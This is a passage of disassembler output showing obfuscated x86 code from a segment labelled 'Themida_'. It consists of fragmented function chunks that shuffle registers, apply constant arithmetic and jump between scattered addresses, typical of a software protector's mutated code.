; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D97C


loc_58DBA1:				; CODE XREF: sub_58D97C+Aj
		mov	eax, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		not	eax
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_584795
; END OF FUNCTION CHUNK	FOR sub_58D97C
; ---------------------------------------------------------------------------


loc_58DBC7:				; CODE XREF: Themida_:00589A8Ej
		sub	edx, 0F24B16E3h
		and	ecx, edx
		jmp	loc_585FC1
; ---------------------------------------------------------------------------


loc_58DBD4:				; CODE XREF: Themida_:0058ECDDj
		mov	ah, dl
		mov	bh, ah
		jmp	loc_58E391
; ---------------------------------------------------------------------------


loc_58DBDD:				; CODE XREF: Themida_:0058CE1Bj
		mov	[esp], esp
		jmp	loc_5892AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DBE5:				; CODE XREF: sub_585452+1834j
		mov	[esp+12h+var_14+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, 2A557F80h
		sub	ebp, esi
		jmp	loc_585C41
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D97C


loc_58DC03:				; CODE XREF: sub_58D97C-91E2j
		push	ecx
		push	edi
		mov	edi, 31827AF3h
		sub	[esp+0Ch+var_8], edi
		pop	edi
		pop	edi
		add	edi, 31827AF3h
		jmp	loc_58A231
; END OF FUNCTION CHUNK	FOR sub_58D97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58DC1B:				; CODE XREF: sub_58FA66-997Bj
		xchg	eax, [esp-4+arg_0]
		jmp	loc_58AF03
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DC23:				; CODE XREF: sub_585452+7FA9j
		add	cl, 29h
		add	bl, cl
		pop	ecx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58DC35:				; CODE XREF: sub_585452+3969j
		mov	ebx, 57894170h
		add	ebx, 0A876BE94h
		add	eax, ebx
		jmp	loc_58BA0D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58DC47:				; CODE XREF: sub_58EFBD-306Aj
		sub	eax, 76C11409h
		push	ebx
		push	ebp
		mov	ebp, 43BB711Bh
		jmp	loc_5874D7
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58DC58:				; CODE XREF: Themida_:00587085j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		push	0E18h
		mov	[esp], ecx
		mov	ecx, 1CC17831h
		mov	ebx, ecx
		jmp	loc_5868D6
; ---------------------------------------------------------------------------


loc_58DC74:				; CODE XREF: Themida_:0058A9C1j
		push	ecx
		push	esi


loc_58DC76:				; DATA XREF: Themida_:00581041o
		push	1D2C79C9h
		pop	esi
		xor	esi, 1D2C79CDh
		mov	ecx, esi
		pop	esi
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_5899D5
; ---------------------------------------------------------------------------
		lodsw
		push	small 1559h
		mov	[esp], cx
		push	small 474Ch
		jmp	loc_588AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DCA9:				; CODE XREF: sub_585452+A735j
		sub	al, 4Fh
		sub	al, cl
		add	al, 4Fh
		pop	ecx
		sub	al, dl
		add	al, 46h
		pop	edx
		sub	al, dh
		jmp	loc_584B86
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58DCBC:				; CODE XREF: sub_58CCD7-837Bj
		mov	[esp+4+var_4], eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_58CCD7

; =============== S U B	R O U T	I N E =======================================



sub_58DCD4	proc near		; CODE XREF: sub_585452+578Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00587492 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005882DE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E2FA SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	ecx
		jmp	loc_5882DE
sub_58DCD4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58DCE9:				; CODE XREF: sub_58A170+10j
		sub	cl, 0D7h
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, al
		mov	ch, bl
		pop	ebx
		pop	eax
		jmp	loc_58B9F6
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_58DCFB:				; CODE XREF: Themida_:00589862j
		sub	esp, 4
		jmp	loc_586507
; ---------------------------------------------------------------------------


loc_58DD06:				; CODE XREF: Themida_:0058ECFEj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ebp, eax
		pop	eax
		sub	eax, 21B143BDh
		sub	eax, ebp
		add	eax, 21B143BDh
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_589662
; ---------------------------------------------------------------------------


loc_58DD2A:				; CODE XREF: Themida_:0058BD62j
		push	ebp
		mov	ebp, esp
		jmp	loc_588D32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DD32:				; CODE XREF: sub_585452-145Cj
		sub	[edx+30h], edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	dword ptr [edx+30h], 1
		xchg	ecx, [edx+30h]
		inc	ecx
		xchg	ecx, [edx+30h]
		xor	dword ptr [edx+30h], 34271F77h
		sub	dword ptr [edx+30h], 3EA21F09h
		sub	dword ptr [edx+30h], 7B07F20Ch
		sub	[edx+30h], edi
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_58DD70:				; CODE XREF: sub_5B5756-2E616j
		xor	ch, 3Eh
		add	al, ch
		pop	ecx
		pop	cx
		sub	esp, 4
		jmp	loc_583F57
; END OF FUNCTION CHUNK	FOR sub_5B5756

; =============== S U B	R O U T	I N E =======================================



sub_58DD80	proc near		; CODE XREF: sub_585452+744j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CEC6 SIZE 00000030 BYTES

		push	ebx
		jmp	loc_58CEC6
sub_58DD80	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DD86:				; CODE XREF: sub_585452+60FAj
		inc	ah
		and	ah, 98h
		jmp	sub_58EDD1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58DD90:				; CODE XREF: sub_58EFBD-6A13j
		mov	ebp, 73C74477h
		mov	esi, ebp
		jmp	loc_58F054
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DD9C:				; CODE XREF: sub_585452+7316j
		mov	esi, 2964EC0h
		xor	edx, esi
		jmp	loc_58C022
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58DDA8:				; CODE XREF: Themida_:0058F482j
		push	93Ch
		mov	[esp], esp
		push	esi
		jmp	loc_589627
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58DDB6:				; CODE XREF: sub_58999B+6490j
		push	[esp-0Ch+arg_C]
		jmp	loc_5872E3
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58DDBF:				; CODE XREF: Themida_:005877D8j
		mov	edx, esp
		jmp	loc_58588A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CF6A


loc_58DDC6:				; CODE XREF: sub_58CF6A+3j
		add	ebp, 4
		push	ecx
		mov	ecx, 1A2D2A85h
		not	ecx
		jmp	sub_5886E0
; END OF FUNCTION CHUNK	FOR sub_58CF6A
; ---------------------------------------------------------------------------


loc_58DDD9:				; CODE XREF: Themida_:0058F998j
		mov	ecx, esp
		push	edx
		push	ebp
		push	0C35216Dh
		pop	ebp
		dec	ebp
		sub	ebp, 0BC0D1E03h
		mov	edx, ebp
		pop	ebp
		add	edx, 7F430C94h
		add	edx, 3094F007h
		add	ecx, edx
		jmp	loc_583EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DE00:				; CODE XREF: sub_585452+1006j
		pop	ebx
		sub	dl, 1
		push	ebx
		jmp	loc_5860BC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58DE0A:				; CODE XREF: Themida_:0058DB9Cj
		add	esp, 4
		jmp	loc_58E977
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58DE19:				; CODE XREF: Themida_:00583EFBj
		add	esp, 4
		jmp	loc_58A497
; ---------------------------------------------------------------------------


loc_58DE21:				; CODE XREF: Themida_:0058BFFFj
		mov	[esp], edx
		push	73B1DC6h
		jmp	loc_5871F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DE2E:				; CODE XREF: sub_585452+4039j
		mov	ebp, 64777C36h
		jmp	loc_58FEFC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58DE38:				; CODE XREF: Themida_:0058AA8Dj
		pop	ebx
		add	edx, 3C13EBD1h
		sub	ebx, 74E30356h
		jmp	loc_58E4DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58DE4A:				; CODE XREF: sub_58960C+C99j
		mov	ebp, 520142FFh
		sub	esi, ebp
		pop	ebp
		add	esi, ebp
		add	esi, 520142FFh
		pop	ebp
		add	esi, 4153247Bh
		xor	esi, 4BA80AE3h
		jmp	loc_58E9A3
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 2A3C3F27h
		sub	eax, 4C3F3E32h
		push	109Ah
		jmp	loc_58743B
; ---------------------------------------------------------------------------


loc_58DE81:				; CODE XREF: Themida_:0058725Ej
		mov	ecx, 18F9579Dh
		jmp	loc_588146
; ---------------------------------------------------------------------------


loc_58DE8B:				; CODE XREF: Themida_:0058FDD7j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58D713
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58DE95:				; CODE XREF: sub_589C10+5F98j
		sub	esi, 0A61C11CAh
		sub	edx, esi
		pop	esi
		jmp	loc_58419B
; END OF FUNCTION CHUNK	FOR sub_589C10

; =============== S U B	R O U T	I N E =======================================



sub_58DEA3	proc near		; CODE XREF: sub_585452+5CFDj

var_4		= byte ptr -4

; FUNCTION CHUNK AT 0058477B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005851C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00586B01 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00586E88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587712 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C36D SIZE 00000017 BYTES

		push	ebx
		mov	bl, 0F7h
		mov	dl, bl
		pop	ebx
		sub	dl, 96h
		jmp	loc_58C36D
sub_58DEA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58DEB1:				; CODE XREF: Themida_:00587C7Bj
		mov	edi, 7D1A06E8h
		neg	edi
		shl	edi, 4
		dec	edi
		push	eax
		mov	eax, 0AE8D687Fh
		push	ebp
		mov	ebp, 3E6A23C5h
		add	ebp, 3BE8238Bh
		sub	edi, 8BB3C46h
		add	edi, ebp
		add	edi, 8BB3C46h
		pop	ebp
		sub	edi, eax
		sub	edi, 7A524750h
		mov	eax, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_58B8AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586B0E


loc_58DEF5:				; CODE XREF: sub_586B0E+9j
		mov	edi, 61A32B06h
		jmp	loc_58AD8B
; END OF FUNCTION CHUNK	FOR sub_586B0E
; ---------------------------------------------------------------------------


loc_58DEFF:				; CODE XREF: Themida_:0058793Dj
		pop	esp
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58DF05:				; CODE XREF: sub_58EFBD-5BFj
		add	esp, 4
		push	ebx
		jmp	loc_58850D
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5842F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58DF20:				; CODE XREF: sub_58999B+3B25j
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_58EA40
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DF29:				; CODE XREF: sub_585452+64BBj
		add	eax, 0AB5EF793h
		jmp	loc_58BC4E
; ---------------------------------------------------------------------------


loc_58DF33:				; CODE XREF: sub_585452+7528j
		sub	dh, bh
		pop	bx
		add	dh, 39h
		mov	ch, dh
		pop	edx
		neg	ch
		neg	ch
		shr	ch, 7
		neg	ch
		xor	ch, 0BEh
		mov	bl, ch
		pop	ecx
		add	al, bl
		jmp	loc_587C80
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58DF53:				; CODE XREF: Themida_:0058CEC1j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_58CB4B
; ---------------------------------------------------------------------------


loc_58DF65:				; CODE XREF: Themida_:0058B6FCj
		push	ecx
		mov	ecx, 14A1431Bh
		jmp	loc_58F0E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58DF70:				; CODE XREF: sub_58622C+3618j
		xor	edi, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	edi, 1
		push	ebx
		jmp	loc_58CA2C
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_58DF87:				; CODE XREF: sub_58E761-8012j
		add	esp, 4
		jmp	loc_58EA9D
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------


loc_58DF92:				; CODE XREF: Themida_:00588E51j
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		pop	edx
		sub	al, bl
		mov	bx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_58BD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EDD1


loc_58DFA7:				; CODE XREF: sub_58EDD1+C6Dj
		xor	bl, ch
		pop	ecx
		add	bl, 8Ah
		jmp	loc_58C8AE
; END OF FUNCTION CHUNK	FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58DFB2:				; CODE XREF: sub_585452+4F09j
		mov	esi, 1F1B170Ch
		jmp	loc_587C26
; ---------------------------------------------------------------------------


loc_58DFBC:				; CODE XREF: sub_585452-131Aj
		sub	ecx, 38285709h
		jmp	loc_589F22
; ---------------------------------------------------------------------------


loc_58DFC7:				; CODE XREF: sub_585452+4646j
		and	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 332C2AF3h
		not	ecx
		not	ecx
		sub	ecx, 65E02709h
		sub	ebx, ecx
		pop	ecx
		push	ebx
		push	ebx
		mov	ebx, 46E87530h
		xor	[esp-4+arg_4], ebx
		mov	ebx, [esp-4+arg_0]
		jmp	loc_58C249
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58DFF0:				; CODE XREF: sub_58EFBD-7D21j
		pop	esi
		mov	eax, ebx
		pop	ebx
		jmp	loc_58C805
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58E009:				; CODE XREF: sub_58EA34-4109j
		add	eax, 4
		jmp	loc_5896DD
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------


loc_58E013:				; CODE XREF: Themida_:00584179j
		pop	edi
		jmp	loc_585C85
; ---------------------------------------------------------------------------


loc_58E019:				; CODE XREF: Themida_:0058CD2Bj
		push	edx
		mov	edx, 13532E8Bh
		jmp	loc_5856CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E024:				; CODE XREF: sub_585452+A7A9j
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58F8E3
; ---------------------------------------------------------------------------


loc_58E035:				; CODE XREF: sub_585452+219Fj
		pop	eax
		push	dx
		mov	dh, 6Fh
		sub	bh, dh
		pop	dx
		or	dh, bh
		jmp	loc_586668
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E045:				; CODE XREF: Themida_:0058DA89j
		mov	edi, 2D015DA5h
		jmp	loc_58990E
; ---------------------------------------------------------------------------


loc_58E04F:				; CODE XREF: Themida_:0058A2BCj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_584784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E065:				; CODE XREF: sub_585452+82EBj
		inc	edx
		inc	edx
		jmp	loc_58564F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E06C:				; CODE XREF: Themida_:00588F04j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_583CE4
; ---------------------------------------------------------------------------


loc_58E079:				; CODE XREF: Themida_:005866B2j
		mov	cl, bl
		pop	ebx
		push	5202h
		mov	[esp], ebx
		mov	bh, cl
		jmp	loc_583EAD
; ---------------------------------------------------------------------------


loc_58E08B:				; CODE XREF: Themida_:00583D50j
		push	edx
		mov	edx, 23DA234Dh
		and	ecx, edx
		jmp	loc_58700A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	5AC8h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_586444
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E0B2:				; CODE XREF: sub_585452+7405j
		neg	edx
		shl	edx, 6
		jmp	loc_58A1AF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E0BC:				; CODE XREF: Themida_:0058918Cj
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 8
		mov	bl, ah
		pop	eax
		mov	dl, bl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_588233
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E0D9:				; CODE XREF: sub_585452+2C8j
		push	1509h
		jmp	loc_58C272
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58E0E3:				; CODE XREF: sub_58AB18-2462j
		xor	edi, 61F2A97h
		and	edi, 53156C76h
		sub	esp, 4
		mov	[esp+0], esi
		push	53056742h
		jmp	loc_5890A7
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E0FF:				; CODE XREF: sub_585452+35Ej
		shl	eax, 3
		jmp	loc_58C33F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E107:				; CODE XREF: Themida_:0058B6CDj
		pop	ebx
		add	esi, 2
		jmp	loc_588D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E113:				; CODE XREF: sub_585452+132j
		push	ax
		mov	ah, 0DBh
		jmp	loc_588279
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E11C:				; CODE XREF: Themida_:005897AAj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5876F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E12F:				; CODE XREF: sub_585452+9CAj
		add	ebx, ebp
		jmp	loc_584B8E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	74B0h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_58C541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58E158:				; CODE XREF: sub_58999B+493Cj
		mov	ebp, 93B24E0h
		sub	ebp, 2B81214Ch
		push	58C0h
		mov	[esp+0], ecx
		mov	ecx, 0C05B9895h
		add	ebp, 3A979D9h
		sub	ebp, ecx
		sub	ebp, 3A979D9h
		pop	ecx
		jmp	loc_587E7F
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58E184:				; CODE XREF: Themida_:0058656Ej
		mov	eax, 555A1452h
		or	ebp, eax
		pop	eax
		xor	ebp, 58622BB3h
		push	ebx
		mov	ebx, 26F338A3h
		jmp	loc_58B809
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_58E19D:				; CODE XREF: sub_586650+9073j
		push	esi
		push	esp
		pop	esi
		jmp	loc_58E251
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58E1A5:				; CODE XREF: sub_589C10+Aj
		mov	ebx, 6D147089h
		jmp	loc_58C150
; END OF FUNCTION CHUNK	FOR sub_589C10

; =============== S U B	R O U T	I N E =======================================



sub_58E1AF	proc near		; CODE XREF: sub_58F487+11j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058669E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00589E29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A959 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E3BA SIZE 0000001A BYTES

		push	ebp
		push	66F21A8Ch
		pop	ebp
		sub	edx, ebp
		pop	ebp
		pop	edi
		jmp	loc_58A959
sub_58E1AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E1BF:				; CODE XREF: sub_585452+B0j
		sub	eax, 5587385Dh
		sub	eax, edx
		add	eax, 5587385Dh
		pop	edx
		jmp	loc_589E0A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E1D1:				; CODE XREF: Themida_:0058F681j
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	edi
		jmp	loc_58A6E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E1E4:				; CODE XREF: sub_585452+7D2Dj
		push	ecx
		jmp	loc_587A89
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E1EA:				; CODE XREF: Themida_:0058C26Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ch, bh
		pop	bx
		xor	al, ch
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_586D14
; ---------------------------------------------------------------------------


loc_58E20E:				; CODE XREF: Themida_:0058A354j
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 92AAF724h
		jmp	loc_58FCD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58E21E:				; CODE XREF: sub_58999B-233Ej
		add	esp, 4
		add	edx, eax
		push	eax
		mov	eax, 1D5E6AFFh
		add	edx, eax
		pop	eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58999B

; =============== S U B	R O U T	I N E =======================================



sub_58E234	proc near		; CODE XREF: sub_585452+3D4Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00587CF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058892B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00589DCC SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058B2D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058CFD3 SIZE 0000000E BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		jmp	loc_58B2D6
sub_58E234	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_58E251:				; CODE XREF: sub_586650+7B50j
		push	edx
		mov	edx, 2B155F4Eh
		jmp	loc_587D14
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_586262
; ---------------------------------------------------------------------------


loc_58E268:				; CODE XREF: Themida_:0058E706j
		mov	[esp], eax
		push	edi
		push	3FDAh
		jmp	loc_587D58
; ---------------------------------------------------------------------------


loc_58E276:				; CODE XREF: Themida_:0058D0E1j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	3C92h
		mov	[esp], ecx
		mov	ecx, 0A4E63h
		neg	ecx
		sub	ecx, 0FFF5B19Bh
		add	edi, 69651650h
		jmp	loc_585E21
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	12DBh
		jmp	loc_58D50E
; ---------------------------------------------------------------------------


loc_58E2BE:				; CODE XREF: Themida_:0058BF01j
		pop	ecx
		sub	al, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		mov	ch, 15h
		push	dx
		jmp	loc_587643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58E2D2:				; CODE XREF: sub_58999B-26B2j
		pop	[esp-0Ch+arg_8]
		pop	esp
		push	ebp
		jmp	loc_58E158
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E2DC:				; CODE XREF: sub_585452-2A6j
		push	ecx
		mov	ecx, esp
		jmp	loc_5846C0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E2E4:				; CODE XREF: Themida_:00588676j
		mov	[esp], edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		add	edi, 6CB3046Ch
		jmp	loc_58A5C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DCD4


loc_58E2FA:				; CODE XREF: sub_58DCD4-59EFj
		mov	ecx, [esp+0Ch+var_C]
		push	edi
		jmp	loc_587492
; END OF FUNCTION CHUNK	FOR sub_58DCD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E303:				; CODE XREF: sub_585452+3D82j
		push	1F7F4825h
		pop	edx
		neg	edx
		add	edx, 44BA1D06h
		inc	edx
		add	edx, 25DA7D0Eh
		mov	edi, edx
		jmp	loc_585A42
; ---------------------------------------------------------------------------


loc_58E31F:				; CODE XREF: sub_585452+79F6j
		sub	eax, ebx
		pop	ebx
		jmp	loc_5863A3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E327:				; CODE XREF: Themida_:0058FF95j
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 0D18469Eh
		push	edi
		mov	edi, 0D18469Ah
		sub	ecx, edi
		pop	edi
		add	edi, 3F9C51D7h
		add	edi, ecx
		jmp	loc_58A80C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58E346:				; CODE XREF: sub_58CCD7-19AAj
		mov	ecx, 24h
		add	ecx, 56A64F81h
		jmp	loc_58C6D2
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E356:				; CODE XREF: sub_585452+786Fj
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
